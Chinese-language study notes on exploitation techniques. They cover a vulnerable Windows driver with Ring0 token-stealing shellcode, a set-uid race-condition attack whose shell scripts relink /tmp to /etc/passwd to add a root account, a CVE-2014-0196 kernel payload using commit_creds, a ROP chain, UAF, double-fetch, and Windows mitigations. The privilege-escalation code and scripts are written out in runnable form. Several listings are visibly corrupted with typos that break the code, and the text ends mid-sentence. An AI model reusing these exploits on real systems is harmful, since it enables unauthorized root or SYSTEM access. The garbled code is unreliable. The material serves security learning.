NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING devName;
UNICODE_STRING symLinkName;
int i=0;
//打印一句調(diào)試信息
KdPrint(("DriverEntry: Exploit me driver demo!\n"));
//創(chuàng)建設(shè)備
RtlInitUnicodeString(&devName,DEVICE_NAME);
ntStatus = IoCreateDevice( driverObject,
0,
&devName,
FILE_DEVICE_UNKNOWN,
0, TRUE,
&g_DeviceObject );
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
//創(chuàng)建符號(hào)鏈接
RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice( g_DeviceObject );
return ntStatus;
}
//設(shè)置該驅(qū)動(dòng)對(duì)象的卸載函數(shù)
driverObject->DriverUnload = DriverUnload;
//設(shè)置該驅(qū)動(dòng)對(duì)象的派遣例程函數(shù)
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DrvDispatch;
}
//返回成功結(jié)果
return STATUS_SUCCESS;
}
R3代碼
- 獲取內(nèi)核函數(shù)xHalQuerySystemInformation的內(nèi)存地址
- 打開設(shè)備對(duì)象
- 如果驅(qū)動(dòng)在做好防護(hù)校驗(yàn),知道打開驅(qū)動(dòng)的程序是不是可信任的,也不至于被利用。@todo修復(fù)這個(gè)漏洞
- 利用漏洞將HalQuerySystemInformation函數(shù)地址改為0
- 在本進(jìn)程空間申請(qǐng)0地址內(nèi)存
- 復(fù)制Ring0ShellCode到0地址內(nèi)存中,
- 觸發(fā)漏洞
- Ring0中執(zhí)行的Shellcode
- 拿到當(dāng)前
EPROCESS
結(jié)構(gòu)(硬編碼,shellcode只能跑在xp上)遍歷雙向循環(huán)鏈表,找到system的EPROCESS結(jié)構(gòu)(PID是4),將其token
拷貝到當(dāng)前進(jìn)程中來(lái),實(shí)現(xiàn)提權(quán)
- 拿到當(dāng)前
//Ring0中執(zhí)行的Shellcode
NTSTATUS Ring0ShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
//打開內(nèi)核寫
__asm
{
cli;
mov eax, cr0;
mov g_uCr0, eax;
and eax, 0xFFFEFFFF;
mov cr0, eax;
}
//USEFULL FOR XP SP3
__asm
{
//KPCR
//由于Windows需要支持多個(gè)CPU, 因此Windows內(nèi)核中為此定義了一套以處理器控制區(qū)(Processor Control Region)
//即KPCR為樞紐的數(shù)據(jù)結(jié)構(gòu), 使每個(gè)CPU都有個(gè)KPCR. 其中KPCR這個(gè)結(jié)構(gòu)中有一個(gè)域KPRCB(Kernel Processor Control Block)結(jié)構(gòu),
//這個(gè)結(jié)構(gòu)擴(kuò)展了KPCR. 這兩個(gè)結(jié)構(gòu)用來(lái)保存與線程切換相關(guān)的全局信息.
//通常fs段寄存器在內(nèi)核模式下指向KPCR, 用戶模式下指向TEB.
//http://blog.csdn.net/hu3167343/article/details/7612595
//http://huaidan.org/archives/2081.html
mov eax, 0xffdff124 //KPCR這個(gè)結(jié)構(gòu)是一個(gè)相當(dāng)穩(wěn)定的結(jié)構(gòu),我們甚至可以從內(nèi)存[0FFDFF124h]獲取當(dāng)前線程的ETHREAD指針.
mov eax, [eax] //PETHREAD
mov esi, [eax + 0x220] //PEPROCESS
mov eax, esi
searchXp :
mov eax, [eax + 0x88] //NEXT EPROCESS
sub eax, 0x88
mov edx, [eax + 0x84] //PID
cmp edx, 0x4 //SYSTEM PID
jne searchXp
mov eax, [eax + 0xc8] //SYSTEM TOKEN
mov[esi + 0xc8], eax //CURRENT PROCESS TOKEN 提權(quán)
}
//關(guān)閉內(nèi)核寫
__asm
{
sti;
mov eax, g_uCr0;
mov cr0, eax;
}
g_isRing0ShellcodeCalled = 1;
return 0;
}
競(jìng)爭(zhēng)條件漏洞(刻舟求劍
)
- 輕者內(nèi)存泄漏,重則提權(quán)
- 競(jìng)爭(zhēng)條件漏洞利用不是每次都成功的,需要開啟線程反復(fù)去嘗試
- 競(jìng)爭(zhēng)狀態(tài)是一種異常行為,是由對(duì)事件相對(duì)節(jié)奏依賴關(guān)系的破壞而引發(fā)的。競(jìng)爭(zhēng)條件屬于time-of-check-to-time-of-use(
TOCTTOU
)漏洞的一種。即程序先檢查對(duì)象的某個(gè)特性,然后的動(dòng)作是在假設(shè)
這些特性一直保持
的情況下作出的(先檢查后使用,中間存在時(shí)間差
)。但這時(shí)該特性可能不具備了(進(jìn)程調(diào)度,時(shí)間片用完了)。 - 一般來(lái)說(shuō),進(jìn)程不是以
原子
方式運(yùn)行的。一個(gè)進(jìn)程可以在任意兩條指令之間中斷(進(jìn)程調(diào)度)。如果一個(gè)進(jìn)程對(duì)這樣的中斷沒有適當(dāng)?shù)?code>處理措施(加鎖),其它進(jìn)程就可能干擾程序的進(jìn)行,甚至引起安全問(wèn)題。 - 競(jìng)爭(zhēng)條件漏洞的發(fā)生,要具備以下條件:
- 有
兩個(gè)或兩個(gè)以上
的事件發(fā)生,兩個(gè)事件間有一定的時(shí)間間隔
(不是并行的)。兩個(gè)事件間有一定的關(guān)系
,即第二個(gè)事件(及其后的事件)依賴于第一個(gè)事件。(比如:打開文件,先檢查對(duì)文件有沒有讀寫權(quán)限,有然后再打開,處理完之后再關(guān)閉文件)
- 有
- 攻擊者能夠改變第一個(gè)事件所產(chǎn)生的
結(jié)果
,為第二個(gè)事件所依賴的假設(shè)
。- 比如,A進(jìn)程要訪問(wèn)臨時(shí)目錄下的文件,校驗(yàn)完之后但還沒有打開它之前被切換出去了,B進(jìn)程進(jìn)來(lái)吧A進(jìn)程要訪問(wèn)的文件刪除,然后建立一個(gè)同名的符號(hào)鏈接指向
/etc/passwd
,B進(jìn)程退出,A進(jìn)程被切換進(jìn)來(lái),不會(huì)做第二次校驗(yàn),在上次校驗(yàn)的結(jié)果通過(guò)的情況下,放心地把文件打開,這時(shí)候打開的就是/etc/passwd
,控制A進(jìn)程往這個(gè)文件添加一個(gè)超級(jí)用戶。
- 比如,A進(jìn)程要訪問(wèn)臨時(shí)目錄下的文件,校驗(yàn)完之后但還沒有打開它之前被切換出去了,B進(jìn)程進(jìn)來(lái)吧A進(jìn)程要訪問(wèn)的文件刪除,然后建立一個(gè)同名的符號(hào)鏈接指向
與競(jìng)爭(zhēng)條件相關(guān)的函數(shù)
- 正確的臨時(shí)文件創(chuàng)建方法,
O_EXCL
是排他性,只允許一個(gè)進(jìn)程打開,別的進(jìn)程無(wú)法打開
///在 linux中創(chuàng)建臨時(shí)文件
char *filename;
int fd;
do {
filename = tempnam(NULL,"foo"); //生成臨時(shí)文件的名字
fd = open(filename, 0_ CREATI 0_EXCLI 0_TRUNCI 0_RDwR, 0600); //O_EXCL是排他,只能一個(gè)進(jìn)程來(lái)訪問(wèn)
free (filenar);
} while (fd == -1);
實(shí)戰(zhàn)-提權(quán)
///下面的這個(gè)程序,表面上看起來(lái)似乎是完美的,但實(shí)際上它具有競(jìng)爭(zhēng)條件漏洞。
//rulp.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#define DELAY 10000
int main(
{
char *fn = "/tmp/YZX";
char buffer[160];
FILE *fp;
long int;
//get user input
scanf("%50s",buffex ) // Buffer是從終端輸入的,輸入tom:test:0:0:gecos:homedir:shell
if(!access(fn,W_oK)) //成功執(zhí)行時(shí),返回0。失敗返回-1,校驗(yàn)是否有寫權(quán)限,A進(jìn)程要訪問(wèn)臨時(shí)目錄下的文件,校驗(yàn)完之后但還沒有打開它之前被切換出去了
{
//sinulating delay 讓校驗(yàn)和打開文件之間有個(gè)時(shí)間差,不模擬也可以的,linux是分時(shí)系統(tǒng),每個(gè)線程都有時(shí)間片的,不模擬耗時(shí)也是有可能切換出去的
for(i=O;i<DELAY;i++) //B進(jìn)程進(jìn)來(lái)把A進(jìn)程要訪問(wèn)的文件刪除,然后建立一個(gè)同名的符號(hào)鏈接指向`/etc/passwd`,B進(jìn)程退出
{
int a = i^2;
}
fd = fopen(fn,"a+"); //以寫的方式打開
fwrite("\n", sireof(char), 1,fp); //先寫入一個(gè)換行
fwrite(buffer,sizoof (char), strlen(buffer),fp); //寫入buffer
fclose(fp);
}
else
printf("No persission\n");
- passwd文件是
root
擁有,我們普通用戶能修改嗎?- 如果一個(gè)程序的擁有者是
root
,且?guī)в?code>set-uid標(biāo)志位,普通用戶運(yùn)行這個(gè)程序就擁有了其root
(擁有者)的權(quán)限。
- 如果一個(gè)程序的擁有者是
- Set-UID是Unix系統(tǒng)中的一個(gè)重要的安全機(jī)制。當(dāng)一個(gè)Set-UID程序運(yùn)行的時(shí)候,它被假設(shè)為具有擁有者的權(quán)限。例如,如果程序的擁有者是root,那么任何人運(yùn)行這個(gè)程序時(shí)都會(huì)獲得程序擁有者的權(quán)限,
Set-UlD
允許我們做許多很有趣的事情,但是不幸的是,它也是很多壞事情的罪魁禍?zhǔn)住?br> - 編譯并設(shè)置root權(quán)限
gcc vulp.c -o vulp
touch attack_input
echo "tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash" > attack_input #用來(lái)在passwd中添加超級(jí)用戶的字段
chown root vulp #vulp的擁有者設(shè)置成root
chmod u+s vulp #讓vulp帶上set-uid標(biāo)志位,這樣啟動(dòng)vulp就可以擁有root權(quán)限,就可以修改/etc/passwd了
- 運(yùn)行腳本反復(fù)執(zhí)行vulp程序
#!/bin/sh
race()
{
while true
do
./vulp <attack_input #反復(fù)運(yùn)行vulp,并向其輸入attack_input文件的內(nèi)容,即"tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash"
done
}
race
RACE_PID=$!
kill $RACE_PID
- 運(yùn)行腳本反復(fù)把原來(lái)要訪問(wèn)的文件刪除,然后建立一個(gè)同名的符號(hào)鏈接指向
/etc/passwd
#!/bin/sh
race()
{
old=`ls -l /etc/passwd`
new=`ls -l /etc/passwd`
# when we modify the passwd successfully, the attack stops
while [ "$old" = "$new" ]
do
# because when the synlink already exists, we can't modify the symlink,
# so before change the symlink, we should rm the old one
rm -f /tmp/XYZ #刪除原來(lái)的文件
>/tmp/XYZ
ln -sf /etc/passwd /tmp/XYZ #建立一個(gè)同名的符號(hào)鏈接指向`/etc/passwd`
new=`ls -l /etc/passwd` #觀察/etc/passwd是否有變化,如果有變化則認(rèn)為修改成功,程序退出
# echo $new
# echo $old
done
}
race
echo "Stop...The passwd has been changed!"
RACE_PID=$!
kill $RACE_PID
- 用新增加的超級(jí)用戶登陸
內(nèi)存泄漏
if(!dptr->data[s_pos]) { //如果處于多線程環(huán)境下,A,B進(jìn)程都執(zhí)行到這里,都為空,然后都進(jìn)入了
dptr->data[s_pos] = kmalloc(quantum, GFP_KERNEL);
if(!dptrs->data[s_pos]) //都為數(shù)組分配一個(gè)塊內(nèi)存,會(huì)導(dǎo)致先分配的內(nèi)存被后分配的內(nèi)存覆蓋,先分配的內(nèi)存就泄漏了
//改進(jìn):在訪問(wèn)共享資源之前加鎖,單實(shí)例懶漢模式,雙重校驗(yàn)?zāi)J?/span>
goto out;
}
Linux內(nèi)核競(jìng)爭(zhēng)條件漏洞CVE-2014-0196
https://blog.includesecurity.com/2014/06/exploiting-cve-2014-0196-a-walk-through-of-the-linux-pty-race-condition-poc/
http://blog.csdn.net/hu3167343/article/details/39162431
原理
- tty:終端,一種字符型設(shè)備。tty設(shè)備包括虛擬控制臺(tái),串口以及偽終端設(shè)備。
- /dev/tty代表當(dāng)前ty設(shè)備
- tty可被多個(gè)線程或進(jìn)程同時(shí)共享和訪問(wèn)。
static ssize_t n_tty write(struct tty_struct *tty, struct file *file,
const unsigned char *buf, size_t nr)
{
const unsigned char *b = buf;
DECLARE_WAITQUEUE(wait,current);
int C;
ssize_t retval = 0;
}
//補(bǔ)丁
@@ -2353,8 +2353,12 @@ static ssize_t
n_tty_write(struct tty_struct *tty, struct file *file,
if(tty->ops->flush_chars)
tty->ops->flush_chars(tty);
}else{
+ struct n_ tty_ _data *Idata= tty->disc_data;
+
while(nr> 0){
+ mutex_lock(&ldata->output_lock); //主要是這里加了鎖,修復(fù)了漏洞
C = tty->ops->write(ty,b,nr);
+ mutex_unlock(&ldata->output_lock);
if(C<0){
retval = c;
goto break_out;
exploit 利用
- CVE-2014-0196攻擊利用exploit
-
第一回合
:A,B兩個(gè)進(jìn)程(或線程)往同一
ttyy寫入數(shù)據(jù)(沒有加鎖,導(dǎo)致競(jìng)爭(zhēng)條件),正常情況是當(dāng)buffer滿
了(th->used=tb->sie)就會(huì)申請(qǐng)內(nèi)存。- 但是由于A在
memepy
的時(shí)候速度很慢
(有時(shí)候內(nèi)存讀寫速度慢或者被切換出去了,競(jìng)爭(zhēng)條件漏洞利用不是每次都成功的,需要開啟線程反復(fù)去嘗試),拷貝中
或者拷貝完還沒有來(lái)得及更新
th->used (+=space) - B就
開始執(zhí)行并寫入
,在計(jì)算剩余空間left=b->size - b->used
的時(shí)候,(由于used
沒有及時(shí)更新,b->used<
b->size)就認(rèn)為不需要新分配內(nèi)存。(但實(shí)際上A已經(jīng)往里面寫了很多數(shù)據(jù)了) - A、B寫完之后,
最終
都會(huì)更新
tb->used,最終會(huì)導(dǎo)致tb->used>
tb-> size。比如Sze:100,used為0, A寫入80個(gè),沒有及時(shí)更新used,那么B來(lái)寫50個(gè),它覺得還有100可用,就直接寫入。最后A,B更新used,造成used為130個(gè),超過(guò)了100個(gè)。
- 但是由于A在
-
第二回合
:B繼續(xù)寫入
的時(shí)候,在申請(qǐng)內(nèi)存計(jì)算空間的時(shí)候,有符號(hào)數(shù)left=b->size-
b-used,是負(fù)數(shù)
,在判斷l(xiāng)eft<
size的時(shí)時(shí)候(有符號(hào)數(shù)和無(wú)符號(hào)數(shù)進(jìn)行比較的時(shí)候會(huì)進(jìn)行隱式轉(zhuǎn)換
,統(tǒng)一轉(zhuǎn)換無(wú)符號(hào)數(shù)),由于size是無(wú)符號(hào)數(shù),left轉(zhuǎn)化為無(wú)符號(hào)數(shù)進(jìn)行比較,負(fù)數(shù)left大于size,所以都不會(huì)再分配內(nèi)存
,在原內(nèi)存處持續(xù)寫入導(dǎo)致溢出。 -
溢出利用
:創(chuàng)建一個(gè)溢出用的目標(biāo)tty(0),然后連續(xù)打開30個(gè)tty。通過(guò)溢出目標(biāo)tty可以修改后面tty的ops
結(jié)構(gòu),讓其指向payload
struct tty_struct{
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; //一組分發(fā)函數(shù),處理讀寫等請(qǐng)求,通過(guò)溢出目標(biāo)tty可以修改后面tty的ops結(jié)構(gòu),比如把讀分發(fā)函數(shù)改成了payload(),當(dāng)對(duì)tty發(fā)送讀請(qǐng)求的時(shí)候,就會(huì)執(zhí)行payload()
/* ... */
struct tty_bufhead buf;/*Locked internally */
/* ... */
}
///linux中的提權(quán)函數(shù)
int payload(void){
commit_creds(prepare_kernel_cred(0)) ;
return 0;
}
漏洞常用利用技術(shù)
ROP面向返回編程(對(duì)抗DEP)
- ROP(Return-oriented programming )
- 對(duì)抗
DEP
(傳統(tǒng)棧溢出cpu會(huì)拒絕執(zhí)行棧上的代碼) - 思路:在內(nèi)存中(dll)搜索,找到相應(yīng)的指令,再組合起來(lái)成為完整的
shellcode
指令序列1(ret1指向):pop r;
retq;
函數(shù)返回的時(shí)候會(huì)跳轉(zhuǎn)到ret1所指向的指令去執(zhí)行,rsp-8
,首先會(huì)把棧上rsp
指向的system addr
pop 到r
寄存器中,然后retq
(poprip
;此時(shí)棧上的rsp指向的是ret2
)就會(huì)跳轉(zhuǎn)到ret2
指向的指令去執(zhí)行
指令序列2(ret2指向);call r;
跳轉(zhuǎn)到r寄存器
中的地址,即callsystem addr
eg:
//觸發(fā)system("calc");
//應(yīng)該是 linux x64上AT&T匯編代碼,x64地址是48bit
//先在libc中找到2個(gè)片段
//libc:片段2: (ret2)
0x7ffff7a890b4 lea 0x120(%rsp),%rdi //把"calc"參數(shù)入棧
0x7ffff7a890bc call %rax //system("calc")
//libc:片段1: (ret1)
0x7ffff7a7e23a pop %rax //(system addr) 把system()的地址放入rax寄存器中
0x7ffff7a7e23b pop %rbx //(dummy1)沒有用到的地址,隨便填
0x7ffff7a7e23c pop %rbp //(dummy2) //沒有用到的地址,隨便填
0x7ffff7a7e23d retq //pop rip;此時(shí)棧上的rsp指向的是`ret2`
通過(guò)溢出將棧覆蓋為:
0x7ffff7a7e23a(ret1
,指向libc片段1)+ address of system
+dummy1 + dummy2 +
0x7ffff7a890b4(ret2
,指向libc:片段2)+dummy(0x120) +"calc"
利用現(xiàn)有的代碼組裝為病毒代碼
- @todo 雖然繞過(guò)了cpu會(huì)拒絕執(zhí)行棧上的代碼的限制,還是沒有繞過(guò)地址隨機(jī)化,使用OOB繞開地址隨機(jī)化
Double-fetch(刻舟求劍)
- 跟
競(jìng)爭(zhēng)條件
漏洞一樣也屬于TOCTTOU
漏洞的一種 - 用戶通常會(huì)通過(guò)調(diào)用內(nèi)核函數(shù)完成特定功能,當(dāng)內(nèi)核函數(shù)
兩次
從同一
用戶內(nèi)存地址讀取同一
數(shù)據(jù)時(shí),第一
次用來(lái)檢查數(shù)據(jù)有效性
(例如驗(yàn)證指針是否為空
,緩沖區(qū)大小是否合適
等,第二
次才會(huì)真正使用數(shù)據(jù)。與此同時(shí),另一個(gè)用戶線程(flipping thread)通過(guò)創(chuàng)造競(jìng)爭(zhēng)條件(race condition),在兩次內(nèi)核讀取之間對(duì)用戶數(shù)據(jù)進(jìn)行修改(例如將數(shù)據(jù)長(zhǎng)度變量變大
造成緩沖區(qū)溢出
等)。 - Double fetch漏洞可造成包括緩沖區(qū)溢出、信息泄露、空指針引用等后果,最終造成
內(nèi)核崩潰
或者惡意提權(quán)
。 - Double fetch是個(gè)普遍性的問(wèn)題,Windows,Linux, Android,FreeBSD等操作系統(tǒng)都存在此類問(wèn)題,有的漏洞已經(jīng)存在10年以上(CVE-2016-6480)。
- 大部分double fetch情況并不會(huì)造成double fetch漏洞,因?yàn)閮纱巫x取的數(shù)據(jù)
不一定
會(huì)被交叉
使用。 - 內(nèi)核中有些數(shù)據(jù)使用情況會(huì)
不可避免
的引發(fā)double fetch,3個(gè)上主要場(chǎng)景:size checking, type selection, shallow copy(淺拷貝)。 -
大部分
的double fetch存在于驅(qū)動(dòng)程序
中(63%)。Size checking場(chǎng)景最容易引發(fā)double fetch漏洞.
eg:
- 函數(shù)ioctl_send_fib()兩次通過(guò)copy_from_user()拷貝指針
arg
指向用戶空間數(shù)據(jù)(分別為81和116行多。- 第一次只拷貝了消息頭,并用消息頭中的數(shù)據(jù)來(lái)計(jì)算緩沖區(qū)大小(第90行)檢查數(shù)據(jù)的有效性(第93行)并根據(jù)計(jì)算結(jié)果來(lái)分配相應(yīng)的緩沖區(qū)(第101行)。
- 第二次拷貝(第116行)則根據(jù)第一次獲取的消息長(zhǎng)度將完整消息拷貝進(jìn)分配好的緩沖區(qū)中。注意此時(shí)指向內(nèi)核緩沖區(qū)的指針變量
kifb
被再一次使用了
(第101行)。在第二次拷貝之后,新拷貝的消息頭中的許多變量被再次使用(而它們可能已經(jīng)被篡改
,例如第121和129行的kfib->header.Command。尤其是消息頭中的長(zhǎng)度變量
也被再一次使用(第130行),從而引發(fā)了一個(gè)double fetch
漏洞,因?yàn)閻阂庥脩艟€程可能在兩次拷貝之間篡改消息頭中的長(zhǎng)度變量kfib->header.size,使得第二次讀取并使用的值遠(yuǎn)大于第一次分配的緩沖區(qū)大小。造成讀
緩存區(qū)溢出
//Linux 4.5中Adaptec RAID控制器驅(qū)動(dòng)文件commctrl.c
60 static int ioctl_send_fib(struct aac_dev * dev, void _uscr *arg)
61 {
62 struct hw_fib* kfib;
...
//第1次通過(guò)copy_from_user()拷貝指針`arg`指向用戶空間數(shù)據(jù)到kfib中去
81 if (copy_from_user((void*)kfib,arg,sizeof(struct aac_fibhdr))){ //第一次只拷貝了消息頭
82 aac_fib_free(fibptr);
83 refurn -EFAULT;
84 }
...
//并用消息頭中的數(shù)據(jù)來(lái)計(jì)算緩沖區(qū)大小
90 size = le16_to_cpu(kfib->hcader.Size)+sizeof(struct aac_fibhdr);
...
93 if ((size > dev->max_fib_size){ //檢查數(shù)據(jù)的有效性
...
101 kfib - pci_alloc_consistent(dev->pdev, size, &daddr); //并根據(jù)計(jì)算結(jié)果來(lái)分配相應(yīng)的緩沖區(qū)
...
105 }
//第2次通過(guò)copy_from_user()拷貝指針`arg`指向用戶空間數(shù)據(jù)到kfib中去,中間存在時(shí)間差
116 if(copy_from_user(kfib,arg,size){ //根據(jù)第一次獲取的消息長(zhǎng)度將完整消息拷貝進(jìn)分配好的緩沖區(qū)中,注意此時(shí)指向內(nèi)核緩沖區(qū)的指針變量`kifb`被再一次使用了
117 retval=-EFAULT;
118 goto cleanup;
119 }
...
121 if (kfib->header.Command =-cpu_to_le16(TakeA BreakPt)){
122 aac_adapter_interrupt(dev);
...
127 kfib->hcadcr.XferState = 0;
128 }else {
//惡意用戶線程可能在兩次拷貝之間篡改消息頭中的長(zhǎng)度變量kfib->header.size,使得第二次讀取并使用的值遠(yuǎn)大于第一次分配的緩沖區(qū)大小。造成`讀`緩存區(qū)溢出
129 rctval = aac_fib_scnd(le16_to_cpu(kfib->hcadcr.Command),fibptr,
130 le16_to_cpu(kfib->hcadcr.Size), FsaNormal,
131 1,1,NULL,NULL);
...
139 }
...
149 if (copy_to_user(arg,(void*)kfib,size))
150 retval=-EFAULT;
...
160 }
UAF(借尸還魂)
- UAF (Use-After-Free)
-
尋找
或生成
野指針-
生成
:引用計(jì)數(shù)多加或者少減,都會(huì)造成引用計(jì)數(shù)不為零,但內(nèi)存已經(jīng)釋放了從而造成野指針。
-
- 占位:
- 在UAF對(duì)象被釋放之后馬上去分配—個(gè)相同大小的內(nèi)存塊,我們稱這一步操作為
占位
- 占位的原理在于堆分配的機(jī)制,當(dāng)一塊堆內(nèi)存被釋放后出于
效率
的考慮會(huì)被保存在一些結(jié)構(gòu)中以便于再次
的分配。占位就是利用這一點(diǎn),通過(guò)分配相同大小
的堆內(nèi)存試圖重用
UAF對(duì)象的內(nèi)存。為了成功實(shí)現(xiàn)占位,一般是多次
分配相同大小的內(nèi)存以保證成功率。
- 在UAF對(duì)象被釋放之后馬上去分配—個(gè)相同大小的內(nèi)存塊,我們稱這一步操作為
/// ackee
struct Object1_struct{
int flag;
void (*func1)();
char message[256];
}OBJECT1;
struct Object2_struct{
int flag;
int flag2;
char welcome[256];
}OBJECT1;
pObject1 = (OBJECT1*)malloc(sizeof(OBJECT1));
// ..initialization...
// ...pass values...
// ... use ...
free(pObject1);
//free之后,并沒有沒有把pObject1設(shè)為NULL,pObject1成為了野指針
...
pobject2 = (0B3ECT2 *) malloc(sizeof(OBECT2));
...
if(pobject1 != NULL)
pobject1->pfunc1(); //pObject1 UAF,但調(diào)用func1的時(shí)候,其實(shí)已經(jīng)是在指向
///attacker
///在多線程環(huán)境下,攻擊者在Exploit中新建一個(gè)惡意線程頻繁分配一個(gè)和OBJECT1一樣的內(nèi)存,系統(tǒng)為了優(yōu)化,很可能會(huì)把剛才pObject1釋放的內(nèi)存分配給了惡意線程,往這塊內(nèi)存的func1放入shellcode地址。
未初始化漏洞(沒喝孟婆湯)
- 未初始化指針:
釋放
一個(gè)野指針
,導(dǎo)致崩潰重啟,就可以獲得smbd
運(yùn)行權(quán)限,而smbd是以root
權(quán)限執(zhí)行的導(dǎo)致權(quán)限提升
。 - 內(nèi)存分配未初始化漏洞:指
分配
一塊內(nèi)存后未經(jīng)初始化
就直接進(jìn)行使用(可能是別人留下的惡意代碼
,相當(dāng)于將UAF反過(guò)來(lái)理解,來(lái)世投胎沒喝孟婆湯
)惡意進(jìn)程會(huì)先釋放一些與之相同大小的已經(jīng)布置好內(nèi)容的內(nèi)存,然后讓未初始化對(duì)象來(lái)重用被釋放的內(nèi)存。
OOB(可以用來(lái)對(duì)抗地址隨機(jī)化)
- OOB ( out of bound)越界訪問(wèn)漏洞
- 越界訪問(wèn),所謂的訪問(wèn)就是指越界讀和越界寫,比如堆溢出、整數(shù)溢出、類型混淆等都可以造成越界訪問(wèn)漏洞。
- 一般通過(guò)這種
OOB
漏洞可以在IE瀏覽器
中輕易的實(shí)現(xiàn)繞過(guò)ASLR
的保護(hù) - 為什么獲得
虛函數(shù)表地址
就可以bypassASLR
呢?- 因?yàn)閷?duì)于C++程序來(lái)說(shuō)
虛函數(shù)表
是被編譯在全局?jǐn)?shù)據(jù)段
的,就是說(shuō)虛函數(shù)表
對(duì)于模塊的基地址
的偏移是固定
的。我們通過(guò)泄漏的虛函數(shù)表的地址減去
偏移就可以知道對(duì)象所處的dll模塊
的基地址
,也就可以使用這個(gè)模塊中的工具指令。(通過(guò)基地址+偏移出其他指令的地址) - 所以無(wú)論程序做怎樣的地址隨機(jī)化,都可以通過(guò)
OOB
拿到模塊的基地址
- 因?yàn)閷?duì)于C++程序來(lái)說(shuō)
- Peter Vreuadenhil通過(guò)內(nèi)存布局把
BSTR
(字符串,size+"\x00\x00"
+data)布置在存在OOB的對(duì)象后面
,目標(biāo)對(duì)象布置在BSTR
后面,目的是進(jìn)行信息泄漏。- 比如: BSTR的結(jié)構(gòu)由4字節(jié)的長(zhǎng)度(size)域、2字節(jié)的結(jié)束符(\x00\x00)加上Unicode字符串構(gòu)成。通過(guò)精心構(gòu)造內(nèi)存布局,使BSTR對(duì)象緊隨漏洞對(duì)象的后面之后再在BSTR后面再放置目標(biāo)對(duì)象,這樣當(dāng)觸發(fā)漏洞對(duì)象發(fā)生越界訪問(wèn)的時(shí)候就可以覆蓋掉BSTR結(jié)構(gòu)的size域。
- 通過(guò)(前面的OOB的對(duì)象)越界寫來(lái)改變
BSTR
的長(zhǎng)度,實(shí)現(xiàn)了越界讀
(比如把BSTR的size改大4Byte,即可越界解讀到目標(biāo)對(duì)象的vtbl,即虛函數(shù)表地址(首4個(gè)字節(jié)))。
https://www.anquanke.com/post/id/85797 作者:Ox9A82
Windows系統(tǒng)安全機(jī)制
gs
- Security Cookie在Buff和返回地址之間,如果要覆蓋返回地址,必然會(huì)覆蓋Security Cookie,如果Security Cookie被修改了,操作系統(tǒng)就會(huì)認(rèn)為產(chǎn)生了溢出,拒絕執(zhí)行。
- gs-security cookie&變量重排
- 把Buff和i的位置重新排列,這樣計(jì)算燃料的長(zhǎng)度就會(huì)出錯(cuò),不能準(zhǔn)確覆蓋返回地址了
可能突破gs的方法
- 1.未被保護(hù)的內(nèi)存繞過(guò)(未大于4個(gè)字節(jié)的緩存默認(rèn)時(shí)不開的)
#pragma etrict_gs_check(on) //為下邊的函數(shù)
int vulfuction(char* str)
{
chararry[4];
strcpy(arry,str);
return 1;
}
- 2.覆蓋虛函數(shù)突破GS(不影響Security Cookie)
- 3.SEH攻擊突破GS(不影響Security Cookie)
- 4.替換COOKIE突破(把Security Cookie的遍歷出來(lái),覆蓋的時(shí)候?qū)ecurity Cookie的位置覆蓋Security Cookie的值,這樣Security Cookie也沒有發(fā)生改變)
safeseh
- 操作系統(tǒng)和編譯器雙重支持
- 編譯器啟用該鏈接選項(xiàng)之后,編譯器在編譯程序的時(shí)候?qū)阉械?code>異常處理函數(shù)地址提取出來(lái),編入一張
安全的S.E.H表
,并將這張表放到程序的映像里。當(dāng)程序調(diào)用異常處理函數(shù)的時(shí)候會(huì)將函數(shù)地址與S.E.H表進(jìn)行匹配
,檢查調(diào)用的異常處理函數(shù)是否位于安全S.E.H表
中 - 操作系統(tǒng):RtlDispatchException()->RtllsValidHandler()來(lái)對(duì)異常處理函數(shù)的有效性進(jìn)行驗(yàn)證的。
- 在編譯選項(xiàng)加上
/safeseh
打開 -
dumpbin /loadconfig
文件名可顯示S.E.H表
DEP-Data Execution Prevention
- DEP的基本原理是將
數(shù)據(jù)
所在內(nèi)存頁(yè)標(biāo)識(shí)為不可執(zhí)行
,當(dāng)程序溢出成功轉(zhuǎn)入shellcode時(shí),程序會(huì)嘗試在數(shù)據(jù)頁(yè)面上執(zhí)行指令
,此時(shí)CPU就會(huì)拋出異常
,而不是去執(zhí)行惡意指令。避免了馮.諾依曼計(jì)算機(jī)不區(qū)分?jǐn)?shù)據(jù)和代碼的問(wèn)題。 - 軟件DEP,檢測(cè)代碼在可執(zhí)行頁(yè)上
- 硬件DEP,需要CPU支持。
- AMD叫No-Execute Rage-Protection(NX)
- Intel為Execute Disable Bit(XD)
- DEP工作狀態(tài):Optln,OptOut,AIwaysOn,AlwaysQff
- 1.
Optin
:默認(rèn)僅將DEP保護(hù)應(yīng)用于Windows系統(tǒng)組件
和服務(wù)
,對(duì)于其他程序不予保護(hù),但用戶可以通過(guò)應(yīng)用程序兼容性工具(ACT, Application Compatibllity Toolkit)為選定的程序啟用DEP
,在Vista下邊經(jīng)過(guò)/NXcompat選項(xiàng)編譯過(guò)的程序?qū)?code>自動(dòng)應(yīng)用DEP。這種模式可以被應(yīng)用程序動(dòng)態(tài)關(guān)閉,它多用于普通用戶版
的操作系統(tǒng),如Windows XP、Windows Vista、Windows7. - 2.
Optout
:為排除列表
程序外
的所有程序和服務(wù)啟用DEP
,用戶可以手動(dòng)在排除列表中指定不啟用DEP
保護(hù)的程序和服務(wù)。這種模式可以被應(yīng)用程序動(dòng)態(tài)關(guān)閉,它多用于服務(wù)器版
的操作系統(tǒng),如Windows 2003、Windows 2008。
- 1.
- DEP的可攻擊性
- 需要CPU支持
- 兼容問(wèn)題導(dǎo)致不能對(duì)所有程序開啟DEP
- /nxcompat選項(xiàng)只對(duì)
VISTA以上
